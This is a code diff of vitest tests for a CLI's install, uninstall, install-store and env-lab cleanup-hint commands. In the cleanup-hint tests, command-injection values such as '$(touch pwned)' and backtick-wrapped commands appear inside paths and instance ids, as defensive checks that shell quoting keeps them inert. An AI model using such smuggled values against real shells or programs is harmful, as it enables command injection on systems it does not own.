const fakeTmp = path.join(base, "fake-tmp");
vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp);
delete process.env.PAPERCLIP_IN_WORKTREE;
const tmpDataDir = path.join(fakeTmp, "instances", "default", "db");
const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json"));
expect(result.status).toBe("pass");
});
});
+265 -2
View File
@@ -1,6 +1,13 @@
import path from "node:path";
import { describe, expect, it } from "vitest";
import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js";
import { afterEach, describe, expect, it, vi } from "vitest";
import * as p from "@clack/prompts";
import {
buildEnvLabCleanupCommand,
collectEnvLabDoctorStatus,
envLabDoctorCommand,
resolveEnvLabCliInvocation,
resolveEnvLabSshStatePath,
} from "../commands/env-lab.js";
describe("env-lab command", () => {
it("resolves the default SSH fixture state path under the instance root", () => {
@@ -22,3 +29,259 @@ describe("env-lab command", () => {
expect(status.ssh.environment).toBeNull();
});
});
describe("env-lab cleanup command hint", () => {
const originalCwd = process.cwd();
afterEach(() => {
process.chdir(originalCwd);
});
// Resolve a source-checkout invocation for a fabricated checkout root. A source
// checkout runs this module from `<root>/src/commands/env-lab.ts`, so the
// resolver reads that layout and returns the tsx runner and source entry.
function sourceInvocation(root: string) {
return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts"));
}
// Resolve a bundled-build invocation for a fabricated package root. The bundled
// build runs this module from `<root>/dist/index.js`, so the resolver returns
// that file as the entry with no tsx runner.
function bundledInvocation(root: string) {
return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js"));
}
// Split a command that uses POSIX single-quoting into its argument tokens. The
// parser reads a single-quoted span verbatim and reads `\'` outside a span as a
// literal single quote. This is the same rule a POSIX shell obeys, so a token
// list proves the shell reads the exact paths and runs no embedded command.
function tokenizePosix(command: string): string[] {
const tokens: string[] = [];
let current = "";
let started = false;
let inQuotes = false;
for (let index = 0; index < command.length; index += 1) {
const character = command[index];
if (inQuotes) {
if (character === "'") {
inQuotes = false;
} else {
current += character;
}
} else if (character === "'") {
inQuotes = true;
started = true;
} else if (character === "\\") {
index += 1;
current += command[index];
started = true;
} else if (character === " ") {
if (started) {
tokens.push(current);
current = "";
started = false;
}
} else {
current += character;
started = true;
}
}
if (started) {
tokens.push(current);
}
return tokens;
}
// Return the two path arguments from the `node` command.
function extractPaths(command: string): string[] {
const tokens = tokenizePosix(command);
return tokens.slice(1, 3);
}
it("resolves both CLI paths to absolute paths", () => {
const command = buildEnvLabCleanupCommand();
const paths = extractPaths(command);
expect(paths).toHaveLength(2);
for (const resolved of paths) {
expect(path.isAbsolute(resolved)).toBe(true);
}
expect(command.endsWith("env-lab down")).toBe(true);
});
it("points at the checked-out tsx runner and cli source entry", () => {
const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand());
expect(tsxBin).toContain(
path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"),
);
expect(entry).toContain(path.join("cli", "src", "index.ts"));
});
it("returns the same command from a checkout subdirectory", () => {
const fromRoot = buildEnvLabCleanupCommand();
// Simulate a contributor who runs `env-lab doctor` from a subdirectory of
// the checkout. A relative path would change with the working directory, so
// this asserts the command stays constant.
process.chdir(path.dirname(originalCwd));
const fromParent = buildEnvLabCleanupCommand();
process.chdir(originalCwd);
expect(fromParent).toBe(fromRoot);
});
it("never restores the unsafe pnpm invocation forms", () => {
const command = buildEnvLabCleanupCommand();
// The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form
// does not resolve the CLI binary. Keep both out of the hint.
expect(command).not.toContain("pnpm paperclipai");
expect(command).not.toContain("pnpm exec paperclipai");
});
// A checkout path can hold shell metacharacters. A contributor copies the hint
// and pastes it into a shell. The hint must neutralize each metacharacter, so
// the shell reads the exact path and runs no embedded command. Each case below
// is a checkout root with one dangerous construct.
const dangerousRoots = [
{ label: "a dollar sign", root: "/tmp/env$lab/checkout" },
{ label: "command substitution", root: "/tmp/$(touch pwned)/checkout" },
{ label: "backticks", root: "/tmp/`touch pwned`/checkout" },
{ label: "a double quote", root: '/tmp/env"lab/checkout' },
{ label: "a single quote", root: "/tmp/env'lab/checkout" },
];
for (const { label, root } of dangerousRoots) {
it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => {
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) });
const tokens = tokenizePosix(command);
const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs");
const entry = path.join(root, "src", "index.ts");
// The shell reads the exact paths as single argument tokens. It does not
// split the paths or run the embedded construct.
expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]);
// The old double-quoted form left `$(...)`, a backtick pair, and `$NAME`
// live. Do not restore it.
expect(command).not.toContain(`"${tsxBin}"`);
expect(command).not.toContain(`"${entry}"`);
});
}
it("forwards the inspected instance to the cleanup hint", () => {
const command = buildEnvLabCleanupCommand({
instance: "fixture-test",
invocation: sourceInvocation("/tmp/checkout"),
});
const tokens = tokenizePosix(command);
// The hint ends with `--instance <id>`, so it stops the fixture the doctor
// command diagnosed, not the default instance.
expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]);
});
it("omits the instance flag when the doctor command uses the default instance", () => {
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") });
// Without a selected instance, `env-lab down` resolves the same default
// instance the doctor command inspected. Do not add an empty flag.
expect(command).not.toContain("--instance");
expect(command.endsWith("env-lab down")).toBe(true);
});
it("keeps an instance id with shell metacharacters inert", () => {
const command = buildEnvLabCleanupCommand({
instance: "$(touch pwned)",
invocation: sourceInvocation("/tmp/checkout"),
});
const tokens = tokenizePosix(command);
// The shell reads the instance id as one literal token and runs no embedded
// command.
expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]);
expect(command).not.toContain('"$(touch pwned)"');
});
it("runs the bundled dist entry directly, without the tsx runner", () => {
const command = buildEnvLabCleanupCommand({
invocation: bundledInvocation("/opt/pkg"),
});
const tokens = tokenizePosix(command);
// The published package ships one `dist/index.js` file and no tsx runner, so
// node runs that file directly.
expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]);
expect(command).not.toContain("tsx");
expect(command).not.toContain(path.join("src", "index.ts"));
});
it("keeps a bundled package path with shell metacharacters inert", () => {
const root = "/opt/$(touch pwned)/pkg";
const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) });
const tokens = tokenizePosix(command);
const entry = path.join(root, "dist", "index.js");
// The shell reads the exact bundled path as one token and runs no embedded
// command.
expect(tokens).toEqual(["node", entry, "env-lab", "down"]);
expect(command).not.toContain(`"${entry}"`);
});
});
describe("env-lab doctor cleanup hint instance", () => {
const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
afterEach(() => {
if (originalInstanceId === undefined) {
delete process.env.PAPERCLIP_INSTANCE_ID;
} else {
process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId;
}
vi.restoreAllMocks();
});
// Capture the cleanup hint the doctor prints. The doctor reports through
// `p.log`, so the test replaces each channel and reads the captured lines.
function captureDoctorMessages(): string[] {
const messages: string[] = [];
vi.spyOn(p.log, "message").mockImplementation((message?: string | string[]) => {
messages.push(Array.isArray(message) ? message.join("\n") : (message ?? ""));
});
vi.spyOn(p.log, "success").mockImplementation(() => {});
vi.spyOn(p.log, "warn").mockImplementation(() => {});
vi.spyOn(p.log, "info").mockImplementation(() => {});
return messages;
}
it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => {
// The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects.
// The cleanup hint must target that instance, not the default instance.
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
const messages = captureDoctorMessages();
await envLabDoctorCommand({ instance: undefined });
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
expect(cleanup).toBeDefined();
expect(cleanup).toContain("env-lab down");
expect(cleanup).toContain("--instance");
expect(cleanup).toContain("env-selected-instance");
});
it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => {
// An explicit `--instance` flag overrides the environment variable, so the
// hint targets the explicit instance the doctor inspected.
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
const messages = captureDoctorMessages();
await envLabDoctorCommand({ instance: "explicit-instance" });
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
expect(cleanup).toBeDefined();
expect(cleanup).toContain("--instance");
expect(cleanup).toContain("explicit-instance");
expect(cleanup).not.toContain("env-selected-instance");
});
});
+2 -2
View File
@@ -21,7 +21,7 @@ function crc32(bytes: Uint8Array) {
return (crc ^ 0xffffffff) >>> 0;
}
export function createStoredZipArchive(files: Record<string, string>, rootPath: string) {
export function createStoredZipArchive(files: Record<string, string | Uint8Array>, rootPath: string) {
const encoder = new TextEncoder();
const localChunks: Uint8Array[] = [];
const centralChunks: Uint8Array[] = [];
@@ -30,7 +30,7 @@ export function createStoredZipArchive(files: Record<string, string>, rootPath:
for (const [relativePath, content] of Object.entries(files).sort(([left], [right]) => left.localeCompare(right))) {
const fileName = encoder.encode(`${rootPath}/${relativePath}`);
const body = encoder.encode(content);
const body = typeof content === "string" ? encoder.encode(content) : content;
const checksum = crc32(body);
const localHeader = new Uint8Array(30 + fileName.length);
+2 -1
View File
@@ -3,6 +3,7 @@ import { ApiConnectionError, ApiRequestError, PaperclipApiClient } from "../clie
describe("PaperclipApiClient", () => {
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
@@ -78,7 +79,7 @@ describe("PaperclipApiClient", () => {
/curl http:\/\/localhost:3100\/api\/health/,
);
await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow(
/pnpm dev|pnpm paperclipai run/,
/pnpm dev|npx paperclipai run/,
);
});
+376
View File
@@ -0,0 +1,376 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import {
type CommandRunner,
installCommand,
installGitPayload,
resolveGitHubRef,
resolveGitInstallRequest,
resolveGitInstallWorkspacePackages,
resolveNpmInstallRequest,
runCommandWithDiagnostics,
} from "../commands/install.js";
import { uninstallCommand } from "../commands/uninstall.js";
import { resolvePaperclipInstanceId } from "../config/home.js";
import {
INSTALL_MANIFEST_VERSION,
flipCurrentAtomic,
initializeInstallStore,
payloadPathFor,
readInstallManifest,
resolveInstallStorePaths,
withInstallStoreLock,
writeInstallManifestAtomic,
} from "../install-store.js";
import { resolveCliVersion } from "../version.js";
import { systemdServiceName } from "../services/service-manager.js";
const ORIGINAL_ENV = { ...process.env };
describe("managed install commands", () => {
let root: string;
beforeEach(() => {
root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-command-"));
process.env = {
...ORIGINAL_ENV,
HOME: path.join(root, "home"),
PAPERCLIP_HOME: path.join(root, "home", ".paperclip"),
PATH: "/usr/bin:/bin",
SHELL: "/bin/bash",
};
fs.mkdirSync(process.env.HOME!, { recursive: true });
vi.spyOn(console, "log").mockImplementation(() => undefined);
});
afterEach(() => {
vi.restoreAllMocks();
process.env = { ...ORIGINAL_ENV };
fs.rmSync(root, { recursive: true, force: true });
});
it("selects stable, canary, and exact-version npm sources", () => {
expect(resolveNpmInstallRequest({})).toEqual({ spec: "latest", channel: "latest" });
expect(resolveNpmInstallRequest({ canary: true })).toEqual({ spec: "canary", channel: "canary" });
expect(resolveNpmInstallRequest({ version: "2026.720.0" })).toEqual({
spec: "2026.720.0",
channel: "pinned",
});
expect(() => resolveNpmInstallRequest({ canary: true, version: "1.2.3" })).toThrow();
expect(() => resolveNpmInstallRequest({ version: "latest" })).toThrow();
});
it("resolves branch, tag, full SHA, and short SHA refs through GitHub", async () => {
const sha = "a".repeat(40);
const runCommand = vi.fn(async (_file: string, _args: string[]) => ({ stdout: JSON.stringify({ sha }), stderr: "" }));
for (const ref of ["master", "v1.2.3", sha, sha.slice(0, 12)]) {
await expect(resolveGitHubRef("paperclipai/paperclip", ref, runCommand)).resolves.toBe(sha);
}
expect(runCommand.mock.calls.map((call) => call[1].at(-1))).toEqual([
"https://api.github.com/repos/paperclipai/paperclip/commits/master",
"https://api.github.com/repos/paperclipai/paperclip/commits/v1.2.3",
`https://api.github.com/repos/paperclipai/paperclip/commits/${sha}`,
`https://api.github.com/repos/paperclipai/paperclip/commits/${sha.slice(0, 12)}`,
]);
});
it("supports fork overrides and classifies SHA refs as pinned", () => {
expect(resolveGitInstallRequest({ ref: "feature/test", repo: "HenkDz/paperclip" })).toEqual({ repo: "HenkDz/paperclip", ref: "feature/test", pinned: false });
expect(resolveGitInstallRequest({ ref: "abcdef1" })).toEqual({ repo: "paperclipai/paperclip", ref: "abcdef1", pinned: true });
expect(() => resolveGitInstallRequest({ repo: "HenkDz/paperclip" })).toThrow("requires --ref");
});
it("requires explicit non-interactive consent before resolving git refs", async () => {
const runCommand = vi.fn();
await expect(installCommand({ ref: "master", repo: "HenkDz/paperclip" }, { runCommand }))
.rejects.toThrow("Re-run with --yes");
expect(runCommand).not.toHaveBeenCalled();
});
it("reuses a SHA-keyed git payload without downloading or rebuilding", async () => {
const sha = "b".repeat(40);
const paths = resolveInstallStorePaths();
const payloadPath = payloadPathFor(paths, "git", sha.slice(0, 12));
const packageRoot = path.join(payloadPath, "node_modules", "paperclipai");
fs.mkdirSync(path.join(packageRoot, "dist"), { recursive: true });
fs.writeFileSync(path.join(packageRoot, "package.json"), JSON.stringify({ version: "0.3.1" }));
fs.writeFileSync(path.join(packageRoot, "dist", "index.js"), "#!/usr/bin/env node\n");
const runCommand = vi.fn(async (_file: string, _args: string[]) => ({ stdout: "0.3.1\n", stderr: "" }));
await expect(installGitPayload("paperclipai/paperclip", sha, runCommand, paths)).resolves.toEqual({ payloadPath, reused: true, version: "0.3.1" });
expect(runCommand).toHaveBeenCalledOnce();
expect(runCommand.mock.calls[0]?.[0]).toBe(process.execPath);
});
const createGitCheckoutRunCommand = (sha: string) =>
vi.fn(async (file: string, args: string[], _options?: Parameters<CommandRunner>[2]) => {
if (file === "curl" && !args.includes("--output")) return { stdout: JSON.stringify({ sha }), stderr: "" };
if (file === "curl") { fs.writeFileSync(args[args.indexOf("--output") + 1], "archive"); return { stdout: "", stderr: "" }; }
if (file === "tar") {
const checkout = args[args.indexOf("-C") + 1];
const packages = [
{ dir: "packages/shared", name: "@paperclipai/shared", packageJson: { name: "@paperclipai/shared", version: "0.3.1" } },
{ dir: "packages/db", name: "@paperclipai/db", packageJson: { name: "@paperclipai/db", version: "0.3.1", dependencies: { "@paperclipai/shared": "workspace:*" }, bundleDependencies: ["embedded-postgres"] } },
{ dir: "server", name: "@paperclipai/server", packageJson: { name: "@paperclipai/server", version: "0.3.1", dependencies: { "@paperclipai/db": "workspace:*" } } },
];
fs.mkdirSync(path.join(checkout, "cli"), { recursive: true });
fs.writeFileSync(path.join(checkout, "cli", "package.json"), JSON.stringify({ version: "0.3.1" }));
fs.mkdirSync(path.join(checkout, "scripts"), { recursive: true });
fs.writeFileSync(path.join(checkout, "scripts", "release-package-manifest.json"), JSON.stringify(packages.map(({ dir, name }) => ({ dir, name }))));
for (const workspacePackage of packages) {
fs.mkdirSync(path.join(checkout, workspacePackage.dir), { recursive: true });
fs.writeFileSync(path.join(checkout, workspacePackage.dir, "package.json"), JSON.stringify(workspacePackage.packageJson));
}
return { stdout: "", stderr: "" };
}
if (file === "corepack") {
if (args.includes("pack")) {
const destination = args[args.indexOf("--pack-destination") + 1];
const packageDir = args[args.indexOf("--dir") + 1];
const packageName = packageDir === "server" ? "paperclipai-server" : "paperclipai-shared";
fs.writeFileSync(path.join(destination, `${packageName}-0.3.1.tgz`), "package");
}
return { stdout: "", stderr: "" };
}
if (file === "bash") return { stdout: "", stderr: "" };
if (file === "npm" && args[0] === "pack") {
const packageName = args[1]?.includes("workspace-package-") ? "paperclipai-db" : "paperclipai";
fs.writeFileSync(path.join(args[args.indexOf("--pack-destination") + 1], `${packageName}-0.3.1.tgz`), "package");
return { stdout: "", stderr: "" };
}
if (file === "npm" && args[0] === "install") { const prefix = args[args.indexOf("--prefix") + 1]; const packageRoot = path.join(prefix, "node_modules", "paperclipai"); fs.mkdirSync(path.join(packageRoot, "dist"), { recursive: true }); fs.writeFileSync(path.join(packageRoot, "package.json"), JSON.stringify({ version: "0.3.1" })); fs.writeFileSync(path.join(packageRoot, "dist", "index.js"), "#!/usr/bin/env node\n"); return { stdout: "", stderr: "" }; }
if (file === process.execPath && args[0]?.endsWith("prepare-bundled-package.mjs")) {
fs.mkdirSync(args[2], { recursive: true });
fs.writeFileSync(path.join(args[2], "package.json"), JSON.stringify({ name: "@paperclipai/db", version: "0.3.1" }));
return { stdout: "", stderr: "" };
}
if (file === process.execPath) return { stdout: "0.3.1\n", stderr: "" };
throw new Error(`Unexpected command: ${file} ${args.join(" ")}`);
});
it("installs a GitHub branch through codeload and reuses the resolved SHA", async () => {
const sha = "c".repeat(40);
const runCommand = createGitCheckoutRunCommand(sha);
await installCommand({ ref: "master", repo: "HenkDz/paperclip", yes: true }, { runCommand });
await installCommand({ ref: "master", repo: "HenkDz/paperclip", yes: true }, { runCommand });
const manifest = readInstallManifest(resolveInstallStorePaths());
expect(manifest).toMatchObject({ source: "git", repo: "HenkDz/paperclip", ref: "master", sha });
expect(manifest?.payloadPath).toContain(path.join("git", sha.slice(0, 12)));
expect(runCommand.mock.calls.filter(([command, args]) => command === "curl" && args.includes("--output"))).toHaveLength(1);
expect(runCommand.mock.calls.filter(([command, args]) => command === "corepack" && args[1] === "install")).toHaveLength(1);
expect(runCommand.mock.calls.filter(([command, args]) => command === "corepack" && args.includes("pack"))).toHaveLength(2);
expect(runCommand.mock.calls.filter(([command, args]) => command === process.execPath && args[0]?.endsWith("prepare-bundled-package.mjs"))).toHaveLength(1);
expect(runCommand.mock.calls.filter(([command, args]) => command === "npm" && args[0] === "pack")).toHaveLength(2);
const installCall = runCommand.mock.calls.find(([command, args]) => command === "npm" && args[0] === "install");
expect(installCall?.[1].filter((arg) => arg.endsWith(".tgz"))).toHaveLength(4);
});
it("builds git checkouts with NODE_ENV cleared so ambient production mode keeps devDependencies", async () => {
process.env.NODE_ENV = "production";
const sha = "d".repeat(40);
const runCommand = createGitCheckoutRunCommand(sha);
await expect(installGitPayload("paperclipai/paperclip", sha, runCommand, resolveInstallStorePaths())).resolves.toMatchObject({ version: "0.3.1", reused: false });
const buildCalls = runCommand.mock.calls.filter(([file, args]) =>
file === "bash" ||
file === "corepack" ||
(file === "npm" && args[0] === "pack") ||
(file === process.execPath && args[0]?.endsWith("prepare-bundled-package.mjs")));
expect(buildCalls).toHaveLength(9);
for (const call of buildCalls) {
const env = call[2]?.env;
expect(env, `${call[0]} ${call[1].join(" ")} must run with an explicit env`).toBeDefined();
expect(env, `${call[0]} ${call[1].join(" ")} must not inherit NODE_ENV`).not.toHaveProperty("NODE_ENV");
}
const uiPackCall = buildCalls.find(([file, , options]) => file === "corepack" && options?.env?.PAPERCLIP_RELEASE_REUSE_UI_DIST === "1");
expect(uiPackCall).toBeDefined();
});
it("resolves the complete server workspace dependency closure in dependency order", () => {
const checkout = path.join(root, "checkout");
const packages = [
{ dir: "packages/shared", name: "@paperclipai/shared", dependencies: {} },
{ dir: "packages/db", name: "@paperclipai/db", dependencies: { "@paperclipai/shared": "workspace:*" } },
{ dir: "server", name: "@paperclipai/server", dependencies: { "@paperclipai/db": "workspace:*" } },
];
fs.mkdirSync(path.join(checkout, "scripts"), { recursive: true });
fs.writeFileSync(path.join(checkout, "scripts", "release-package-manifest.json"), JSON.stringify(packages.map(({ dir, name }) => ({ dir, name }))));
for (const workspacePackage of packages) {
fs.mkdirSync(path.join(checkout, workspacePackage.dir), { recursive: true });
fs.writeFileSync(path.join(checkout, workspacePackage.dir, "package.json"), JSON.stringify({ name: workspacePackage.name, dependencies: workspacePackage.dependencies }));
}
expect(resolveGitInstallWorkspacePackages(checkout).map(({ name }) => name)).toEqual([
"@paperclipai/shared",
"@paperclipai/db",
"@paperclipai/server",
]);
});
it("includes child-process stderr in command failures", async () => {
await expect(runCommandWithDiagnostics(process.execPath, ["-e", "process.stderr.write('unsupported workspace dependency\\n'); process.exit(1)"]))
.rejects.toThrow("unsupported workspace dependency");
});
it("installs through the shim, reports provenance, and uninstalls without deleting user data", async () => {
const version = "2026.720.0";
const runCommand = vi.fn(async (file: string, args: string[], _options?: unknown) => {
if (file === "npm" && args[0] === "view") return { stdout: JSON.stringify(version), stderr: "" };
if (file === "npm" && args[0] === "install") {
const prefix = args[args.indexOf("--prefix") + 1];
const entrypoint = path.join(prefix, "node_modules", "paperclipai", "dist", "index.js");
fs.mkdirSync(path.dirname(entrypoint), { recursive: true });
fs.writeFileSync(entrypoint, "#!/usr/bin/env node\n");
return { stdout: "", stderr: "" };
}
if (file === process.execPath && args.at(-1) === "--version") {
return { stdout: `${version}\n`, stderr: "" };
}
throw new Error(`Unexpected command: ${file} ${args.join(" ")}`);
});
await installCommand({}, { runCommand, now: () => new Date("2026-07-22T18:00:00.000Z") });
const paths = resolveInstallStorePaths();
const manifest = readInstallManifest(paths);
expect(manifest?.version).toBe(version);
expect(manifest?.channel).toBe("latest");
expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(manifest!.payloadPath));
expect(fs.existsSync(paths.shimPath)).toBe(true);
const installCall = runCommand.mock.calls.find(
([file, args]) => file === "npm" && args[0] === "install",
);
expect(installCall?.[1]).toContain("--@paperclipai:registry=https://registry.npmjs.org");
const installOptions = installCall?.[2] as { env?: NodeJS.ProcessEnv } | undefined;
expect(installOptions?.env?.npm_config_userconfig).toContain(".npmrc-");
const entrypoint = path.join(manifest!.payloadPath, "node_modules", "paperclipai", "dist", "index.js");
expect(resolveCliVersion(entrypoint)).toContain(`managed npm latest; payload ${manifest!.payloadPath}`);
const userData = path.join(process.env.PAPERCLIP_HOME!, "instances", "default", "keep.txt");
fs.mkdirSync(path.dirname(userData), { recursive: true });
fs.writeFileSync(userData, "keep");
const uninstallService = vi.fn(async () => {
expect(fs.existsSync(paths.shimPath)).toBe(true);
});
await uninstallCommand({
detectServiceManager: vi.fn(async () => ({
supported: true as const,
manager: {
status: vi.fn(async () => ({ installed: true, active: true })),
uninstall: uninstallService,
} as never,
})),
});
expect(uninstallService).toHaveBeenCalledOnce();
expect(fs.existsSync(paths.cliRoot)).toBe(false);
expect(fs.existsSync(paths.shimPath)).toBe(false);
expect(fs.readFileSync(userData, "utf8")).toBe("keep");
});
it("refuses to remove the shared CLI while another instance service is installed", async () => {
const paths = resolveInstallStorePaths();
const otherUnitPath = path.join(process.env.HOME!, ".config", "systemd", "user", systemdServiceName("team-a"));
fs.mkdirSync(path.dirname(otherUnitPath), { recursive: true });
fs.writeFileSync(otherUnitPath, "unit");
await expect(uninstallCommand({
detectServiceManager: vi.fn(async () => ({
supported: true as const,
manager: { status: vi.fn(async () => ({ installed: false, active: false })) } as never,
})),
platform: "linux",
userHomeDir: process.env.HOME!,
})).rejects.toThrow("other instance services are installed");
expect(fs.existsSync(paths.cliRoot)).toBe(false);
expect(fs.existsSync(otherUnitPath)).toBe(true);
});
it("preserves the managed install when an existing systemd unit cannot be checked", async () => {
const paths = resolveInstallStorePaths();
fs.mkdirSync(path.dirname(paths.shimPath), { recursive: true });
fs.writeFileSync(paths.shimPath, "managed shim");
const unitPath = path.join(
process.env.HOME!,
".config",
"systemd",
"user",
systemdServiceName(resolvePaperclipInstanceId()),
);
fs.mkdirSync(path.dirname(unitPath), { recursive: true });
fs.writeFileSync(unitPath, "unit");
await expect(uninstallCommand({
detectServiceManager: vi.fn(async () => ({
supported: false as const,
reason: "No usable systemd user manager was detected",
})),
platform: "linux",
userHomeDir: process.env.HOME!,
})).rejects.toThrow("Cannot verify or remove the background service");
expect(fs.existsSync(paths.shimPath)).toBe(true);
expect(fs.existsSync(unitPath)).toBe(true);
});
it("rejects a symlinked installs root before npm writes outside the store", async () => {
const paths = resolveInstallStorePaths();
const outside = path.join(root, "outside");
fs.mkdirSync(paths.cliRoot, { recursive: true });
fs.mkdirSync(outside);
fs.symlinkSync(outside, paths.installsRoot, "dir");
const runCommand = vi.fn(async () => ({ stdout: JSON.stringify("2026.720.0"), stderr: "" }));
await expect(installCommand({}, { runCommand })).rejects.toThrow("non-directory install-store path");
expect(runCommand).toHaveBeenCalledTimes(1);
expect(fs.readdirSync(outside)).toEqual([]);
});
it("refuses to uninstall an unverified cli directory", async () => {
const paths = resolveInstallStorePaths();
const unrelatedFile = path.join(paths.cliRoot, "keep.txt");
fs.mkdirSync(paths.cliRoot, { recursive: true });
fs.writeFileSync(unrelatedFile, "keep");
await expect(uninstallCommand()).rejects.toThrow("unverified install store");
expect(fs.readFileSync(unrelatedFile, "utf8")).toBe("keep");
});
it("refuses to uninstall while another store mutation holds the lock", async () => {
const paths = resolveInstallStorePaths();
const payloadPath = payloadPathFor(paths, "npm", "2026.720.0");
initializeInstallStore(paths);
fs.mkdirSync(payloadPath, { recursive: true });
flipCurrentAtomic(payloadPath, paths);
writeInstallManifestAtomic({
schemaVersion: INSTALL_MANIFEST_VERSION,
source: "npm",
version: "2026.720.0",
channel: "latest",
payloadPath,
installedAt: "2026-07-22T18:00:00.000Z",
previous: [],
}, paths);
await withInstallStoreLock(
async () => {
await expect(uninstallCommand()).rejects.toThrow("already running");
},
paths,
);
expect(fs.existsSync(paths.lockPath)).toBe(false);
});
it("refuses a symlinked git payload root before downloading", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const outside = path.join(root, "outside-git"); fs.mkdirSync(outside);
fs.symlinkSync(outside, path.join(paths.installsRoot, "git"));
const runCommand = vi.fn(async () => ({ stdout: "", stderr: "" }));
await expect(installGitPayload("paperclipai/paperclip", "4".repeat(40), runCommand, paths)).rejects.toThrow("unsafe payload root");
expect(runCommand).not.toHaveBeenCalled();
});
});
+206
View File
@@ -0,0 +1,206 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import {
INSTALL_MANIFEST_VERSION,
MANAGED_SHIM_MARKER,
addManagedPathBlock,
buildNextManifest,
flipCurrentAtomic,
isManagedExecutable,
payloadPathFor,
pruneInstallPayloads,
readInstallManifest,
removeManagedPathBlock,
removeManagedShim,
resolveInstallStorePaths,
withInstallStoreLock,
writeInstallManifestAtomic,
writeManagedShim,
type InstallManifest,
type InstallRecord,
} from "../install-store.js";
function record(payloadPath: string, version: string): InstallRecord {
return {
source: "npm",
version,
channel: "latest",
payloadPath,
installedAt: `2026-07-${version.padStart(2, "0")}T00:00:00.000Z`,
};
}
describe("managed install store", () => {
let root: string;
let paths: ReturnType<typeof resolveInstallStorePaths>;
beforeEach(() => {
root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-install-store-"));
paths = resolveInstallStorePaths({
homeDir: path.join(root, "home"),
paperclipHome: path.join(root, "home", ".paperclip"),
});
});
afterEach(() => {
fs.rmSync(root, { recursive: true, force: true });
});
it("resolves the documented npm and git payload layout", () => {
expect(payloadPathFor(paths, "npm", "2026.720.0")).toBe(
path.join(paths.cliRoot, "installs", "npm", "2026.720.0"),
);
expect(payloadPathFor(paths, "git", "ab12cd34ef56")).toBe(
path.join(paths.cliRoot, "installs", "git", "ab12cd34ef56"),
);
});
it("writes and reads the manifest atomically with private permissions", () => {
const payloadPath = payloadPathFor(paths, "npm", "1.2.3");
const manifest: InstallManifest = {
schemaVersion: INSTALL_MANIFEST_VERSION,
...record(payloadPath, "1.2.3"),
previous: [],
};
writeInstallManifestAtomic(manifest, paths);
expect(readInstallManifest(paths)).toEqual(manifest);
expect(fs.statSync(paths.manifestPath).mode & 0o777).toBe(0o600);
});
it("leaves the old current payload working when interrupted before rename", () => {
const oldPayload = payloadPathFor(paths, "npm", "1.0.0");
const newPayload = payloadPathFor(paths, "npm", "2.0.0");
fs.mkdirSync(oldPayload, { recursive: true });
fs.mkdirSync(newPayload, { recursive: true });
flipCurrentAtomic(oldPayload, paths);
expect(() =>
flipCurrentAtomic(newPayload, paths, {
beforeRename: () => {
throw new Error("simulated crash");
},
}),
).toThrow("simulated crash");
expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload));
expect(fs.readdirSync(paths.cliRoot).filter((entry) => entry.startsWith(".current-"))).toEqual([]);
});
it("retains current plus two previous payloads and prunes older entries", () => {
const payloads = ["1", "2", "3", "4"].map((version) => payloadPathFor(paths, "npm", version));
for (const payload of payloads) fs.mkdirSync(payload, { recursive: true });
const previousManifest: InstallManifest = {
schemaVersion: INSTALL_MANIFEST_VERSION,
...record(payloads[2], "3"),
previous: [record(payloads[1], "2"), record(payloads[0], "1")],
};
const next = buildNextManifest(record(payloads[3], "4"), previousManifest);
expect(next.previous.map((entry) => entry.version)).toEqual(["3", "2"]);
expect(pruneInstallPayloads(next, paths)).toEqual([payloads[0]]);
expect(fs.existsSync(payloads[0])).toBe(false);
expect(payloads.slice(1).every((payload) => fs.existsSync(payload))).toBe(true);
});
it("writes a stable shim with the validated runtime and custom store path", () => {
writeManagedShim(paths);
const shim = fs.readFileSync(paths.shimPath, "utf8");
expect(shim).toContain(process.execPath);
expect(shim).toContain(paths.currentPath);
expect(shim).not.toContain("PAPERCLIP_HOME");
expect(fs.statSync(paths.shimPath).mode & 0o777).toBe(0o755);
const rcPath = path.join(root, "home", ".bashrc");
expect(addManagedPathBlock(rcPath)).toBe(true);
expect(addManagedPathBlock(rcPath)).toBe(false);
fs.chmodSync(rcPath, 0o640);
expect(removeManagedPathBlock(rcPath)).toBe(true);
expect(fs.readFileSync(rcPath, "utf8")).not.toContain("paperclipai managed PATH");
